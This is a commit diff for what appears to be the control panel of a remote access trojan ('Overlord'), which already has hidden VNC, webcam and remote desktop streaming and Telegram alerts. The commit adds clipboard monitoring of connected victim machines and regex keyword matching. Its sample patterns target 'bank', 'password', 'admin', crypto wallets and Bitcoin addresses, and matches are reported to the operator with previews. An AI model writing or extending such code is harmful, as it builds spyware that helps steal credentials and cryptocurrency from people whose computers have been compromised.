add regex support and clipboard support to notification center
This commit is contained in:
@@ -15,6 +15,7 @@ const notificationScopeHint = document.getElementById("notification-scope-hint")
|
||||
// Keyword section
|
||||
const keywordSection = document.getElementById("keyword-section");
|
||||
const keywordInput = document.getElementById("keyword-input");
|
||||
const clipboardEnabledInput = document.getElementById("clipboard-enabled");
|
||||
const saveKeywordsBtn = document.getElementById("save-keywords");
|
||||
const keywordHint = document.getElementById("keyword-hint");
|
||||
|
||||
@@ -176,6 +177,10 @@ function wireToggle(inputEl, btnEl) {
|
||||
// ── Notification table row ────────────────────────────────────────────────────
|
||||
function renderRow(item, prepend = true) {
|
||||
if (!listEl) return;
|
||||
const isClipboard = item.category === "clipboard";
|
||||
const sourceBadge = isClipboard
|
||||
? `<span class="inline-flex items-center gap-1 px-2 py-0.5 rounded-full text-xs bg-violet-900/60 text-violet-300 border border-violet-700/50"><i class="fa-solid fa-clipboard text-xs"></i> clipboard</span>`
|
||||
: `<span class="inline-flex items-center gap-1 px-2 py-0.5 rounded-full text-xs bg-blue-900/60 text-blue-300 border border-blue-700/50"><i class="fa-solid fa-desktop text-xs"></i> window</span>`;
|
||||
const row = document.createElement("tr");
|
||||
row.className = "border-t border-slate-800/60";
|
||||
row.innerHTML = `
|
||||
@@ -185,6 +190,7 @@ function renderRow(item, prepend = true) {
|
||||
<td class="py-2 pr-4 max-w-xl truncate" title="${escapeHtml(item.title || "")}">${escapeHtml(item.title || "-")}</td>
|
||||
<td class="py-2 pr-4 whitespace-nowrap">${escapeHtml(item.process || "-")}</td>
|
||||
<td class="py-2 pr-4 whitespace-nowrap">${escapeHtml(item.keyword || "-")}</td>
|
||||
<td class="py-2 pr-4 whitespace-nowrap">${sourceBadge}</td>
|
||||
<td class="py-2 pr-4"><div class="preview-slot"></div></td>
|
||||
`;
|
||||
|
||||
@@ -283,6 +289,9 @@ async function loadKeywords() {
|
||||
const keywords = data?.notifications?.keywords || [];
|
||||
keywordInput.value = keywords.join("\n");
|
||||
renderKeywordHint(keywords.length);
|
||||
if (clipboardEnabledInput) {
|
||||
clipboardEnabledInput.checked = data?.notifications?.clipboardEnabled === true;
|
||||
}
|
||||
} catch {}
|
||||
}
|
||||
|
||||
@@ -290,11 +299,12 @@ function wireKeywordSave() {
|
||||
if (!saveKeywordsBtn || !keywordInput) return;
|
||||
saveKeywordsBtn.addEventListener("click", async () => {
|
||||
const keywords = parseKeywords(keywordInput.value);
|
||||
const clipboardEnabled = clipboardEnabledInput ? clipboardEnabledInput.checked : false;
|
||||
try {
|
||||
const res = await fetch("/api/notifications/config", {
|
||||
method: "PUT",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ keywords }),
|
||||
body: JSON.stringify({ keywords, clipboardEnabled }),
|
||||
});
|
||||
if (!res.ok) {
|
||||
window.showToast?.("Failed to save keywords", "error", 4000);
|
||||
@@ -304,6 +314,9 @@ function wireKeywordSave() {
|
||||
const updated = data?.notifications?.keywords || keywords;
|
||||
keywordInput.value = updated.join("\n");
|
||||
renderKeywordHint(updated.length);
|
||||
if (clipboardEnabledInput && typeof data?.notifications?.clipboardEnabled === "boolean") {
|
||||
clipboardEnabledInput.checked = data.notifications.clipboardEnabled;
|
||||
}
|
||||
window.showToast?.("Keywords updated", "success", 3000);
|
||||
} catch {
|
||||
window.showToast?.("Failed to save keywords", "error", 4000);
|
||||
|
||||
@@ -35,7 +35,7 @@
|
||||
<div>
|
||||
<h1 class="text-2xl font-semibold">Notifications</h1>
|
||||
<p class="text-slate-400">
|
||||
Active window alerts based on configured title keywords
|
||||
Active window & clipboard alerts based on configured keyword patterns
|
||||
</p>
|
||||
</div>
|
||||
<div class="flex flex-wrap items-center gap-3">
|
||||
@@ -55,7 +55,7 @@
|
||||
<div>
|
||||
<h2 class="text-lg font-semibold">Keyword Configuration</h2>
|
||||
<p class="text-sm text-slate-400">
|
||||
One keyword per line. Changes apply to connected agents immediately. (Shared global setting)
|
||||
One keyword per line — plain substring or <code class="text-slate-300">/regex/i</code> syntax. Changes apply to connected agents immediately. (Shared global setting)
|
||||
</p>
|
||||
</div>
|
||||
<button
|
||||
@@ -69,9 +69,13 @@
|
||||
<textarea
|
||||
id="keyword-input"
|
||||
rows="5"
|
||||
placeholder="bank password admin"
|
||||
placeholder="bank password admin /crypto|wallet/i /\b(bc1[a-z0-9]{39,59}|[13][a-km-zA-HJ-NP-Z1-9]{24,33})\b/"
|
||||
class="mt-3 w-full rounded-lg bg-slate-950 border border-slate-800 text-slate-100 p-3 focus:outline-none focus:border-blue-500"
|
||||
></textarea>
|
||||
<label class="mt-3 inline-flex items-center gap-2 text-sm text-slate-300 cursor-pointer">
|
||||
<input id="clipboard-enabled" type="checkbox" class="w-4 h-4 accent-emerald-500" />
|
||||
Monitor clipboard content for keyword matches
|
||||
</label>
|
||||
<div class="mt-2 text-xs text-slate-500" id="keyword-hint"></div>
|
||||
</div>
|
||||
|
||||
@@ -267,9 +271,10 @@
|
||||
<th class="py-2 pr-4">Time</th>
|
||||
<th class="py-2 pr-4">Client</th>
|
||||
<th class="py-2 pr-4">User</th>
|
||||
<th class="py-2 pr-4">Window Title</th>
|
||||
<th class="py-2 pr-4">Title / Content</th>
|
||||
<th class="py-2 pr-4">Process</th>
|
||||
<th class="py-2 pr-4">Keyword</th>
|
||||
<th class="py-2 pr-4">Source</th>
|
||||
<th class="py-2 pr-4">Preview</th>
|
||||
</tr>
|
||||
</thead>
|
||||
|
||||
@@ -39,6 +39,7 @@ export interface Config {
|
||||
telegramEnabled: boolean;
|
||||
telegramBotToken: string;
|
||||
telegramChatId: string;
|
||||
clipboardEnabled: boolean;
|
||||
};
|
||||
security: {
|
||||
sessionTtlHours: number;
|
||||
@@ -88,6 +89,7 @@ const DEFAULT_CONFIG: Config = {
|
||||
telegramEnabled: false,
|
||||
telegramBotToken: "",
|
||||
telegramChatId: "",
|
||||
clipboardEnabled: false,
|
||||
},
|
||||
security: {
|
||||
sessionTtlHours: 168,
|
||||
@@ -366,6 +368,10 @@ export function loadConfig(): Config {
|
||||
process.env.OVERLORD_NOTIFICATION_TELEGRAM_CHAT_ID ||
|
||||
fileConfig.notifications?.telegramChatId ||
|
||||
DEFAULT_CONFIG.notifications.telegramChatId,
|
||||
clipboardEnabled:
|
||||
String(process.env.OVERLORD_NOTIFICATION_CLIPBOARD_ENABLED || "").toLowerCase() === "true" ||
|
||||
fileConfig.notifications?.clipboardEnabled ||
|
||||
DEFAULT_CONFIG.notifications.clipboardEnabled,
|
||||
},
|
||||
security: {
|
||||
sessionTtlHours:
|
||||
|
||||
@@ -35,6 +35,7 @@ export type HelloAck = {
|
||||
notification?: {
|
||||
keywords: string[];
|
||||
minIntervalMs?: number;
|
||||
clipboardEnabled?: boolean;
|
||||
};
|
||||
};
|
||||
export type Ping = { type: "ping"; ts?: number };
|
||||
@@ -271,6 +272,7 @@ export type NotificationConfig = {
|
||||
type: "notification_config";
|
||||
keywords: string[];
|
||||
minIntervalMs?: number;
|
||||
clipboardEnabled?: boolean;
|
||||
};
|
||||
|
||||
export type WireMessage =
|
||||
|
||||
@@ -100,6 +100,35 @@ export async function handleNotificationsConfigRoutes(
|
||||
.filter(Boolean)
|
||||
.slice(0, 200);
|
||||
|
||||
for (const kw of keywords) {
|
||||
if (kw.startsWith("/")) {
|
||||
const lastSlash = kw.lastIndexOf("/", kw.length - 1);
|
||||
if (lastSlash <= 0) {
|
||||
return Response.json(
|
||||
{ error: `Invalid regex keyword (missing closing /): ${kw}` },
|
||||
{ status: 400 },
|
||||
);
|
||||
}
|
||||
const pattern = kw.slice(1, lastSlash);
|
||||
const flags = kw.slice(lastSlash + 1);
|
||||
const invalidFlags = flags.replace(/[gimsuy]/g, "");
|
||||
if (invalidFlags.length > 0) {
|
||||
return Response.json(
|
||||
{ error: `Invalid regex flags '${invalidFlags}' in keyword: ${kw}` },
|
||||
{ status: 400 },
|
||||
);
|
||||
}
|
||||
try {
|
||||
new RegExp(pattern, flags);
|
||||
} catch (e: any) {
|
||||
return Response.json(
|
||||
{ error: `Invalid regex in keyword '${kw}': ${e?.message ?? e}` },
|
||||
{ status: 400 },
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
const webhookEnabled =
|
||||
typeof body?.webhookEnabled === "boolean"
|
||||
? body.webhookEnabled
|
||||
@@ -120,6 +149,10 @@ export async function handleNotificationsConfigRoutes(
|
||||
typeof body?.telegramChatId === "string"
|
||||
? body.telegramChatId.trim()
|
||||
: currentConfig.telegramChatId || "";
|
||||
const clipboardEnabled =
|
||||
typeof body?.clipboardEnabled === "boolean"
|
||||
? body.clipboardEnabled
|
||||
: currentConfig.clipboardEnabled || false;
|
||||
|
||||
if (webhookUrl) {
|
||||
try {
|
||||
@@ -142,6 +175,7 @@ export async function handleNotificationsConfigRoutes(
|
||||
telegramEnabled,
|
||||
telegramBotToken,
|
||||
telegramChatId,
|
||||
clipboardEnabled,
|
||||
});
|
||||
|
||||
for (const client of clientManager.getAllClients().values()) {
|
||||
@@ -152,6 +186,7 @@ export async function handleNotificationsConfigRoutes(
|
||||
type: "notification_config",
|
||||
keywords: updated.keywords || [],
|
||||
minIntervalMs: updated.minIntervalMs || 8000,
|
||||
clipboardEnabled: updated.clipboardEnabled || false,
|
||||
}),
|
||||
);
|
||||
} catch {}
|
||||
|
||||
@@ -31,7 +31,7 @@ type WsLifecycleDeps = {
|
||||
rdStreamingState: Map<string, unknown>;
|
||||
hvncStreamingState: Map<string, unknown>;
|
||||
webcamStreamingState: Map<string, unknown>;
|
||||
getNotificationConfig: () => { keywords?: string[]; minIntervalMs?: number };
|
||||
getNotificationConfig: () => { keywords?: string[]; minIntervalMs?: number; clipboardEnabled?: boolean };
|
||||
handleDashboardViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleConsoleViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleRemoteDesktopViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
@@ -121,6 +121,7 @@ export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLif
|
||||
notification: {
|
||||
keywords: notificationConfig.keywords || [],
|
||||
minIntervalMs: notificationConfig.minIntervalMs || 8000,
|
||||
clipboardEnabled: notificationConfig.clipboardEnabled || false,
|
||||
},
|
||||
}),
|
||||
);
|
||||
|
||||
@@ -19,7 +19,7 @@ type NotificationRecord = {
|
||||
processPath?: string;
|
||||
pid?: number;
|
||||
keyword?: string;
|
||||
category: "active_window";
|
||||
category: "active_window" | "clipboard";
|
||||
ts: number;
|
||||
screenshotId?: string;
|
||||
};
|
||||
@@ -210,7 +210,9 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
|
||||
return;
|
||||
}
|
||||
const info = clientManager.getClient(clientId);
|
||||
logger.info(`[notify] client=${clientId} keyword=${keyword || "-"} title=${title}`);
|
||||
const category: "active_window" | "clipboard" =
|
||||
payload.category === "clipboard" ? "clipboard" : "active_window";
|
||||
logger.info(`[notify] client=${clientId} keyword=${keyword || "-"} category=${category} title=${title}`);
|
||||
const record: NotificationRecord = {
|
||||
id: uuidv4(),
|
||||
clientId,
|
||||
@@ -222,7 +224,7 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
|
||||
processPath: typeof payload.processPath === "string" ? payload.processPath : "",
|
||||
pid: Number(payload.pid) || undefined,
|
||||
keyword,
|
||||
category: "active_window",
|
||||
category,
|
||||
ts,
|
||||
};
|
||||
|
||||
|
||||
Reference in New Issue
Block a user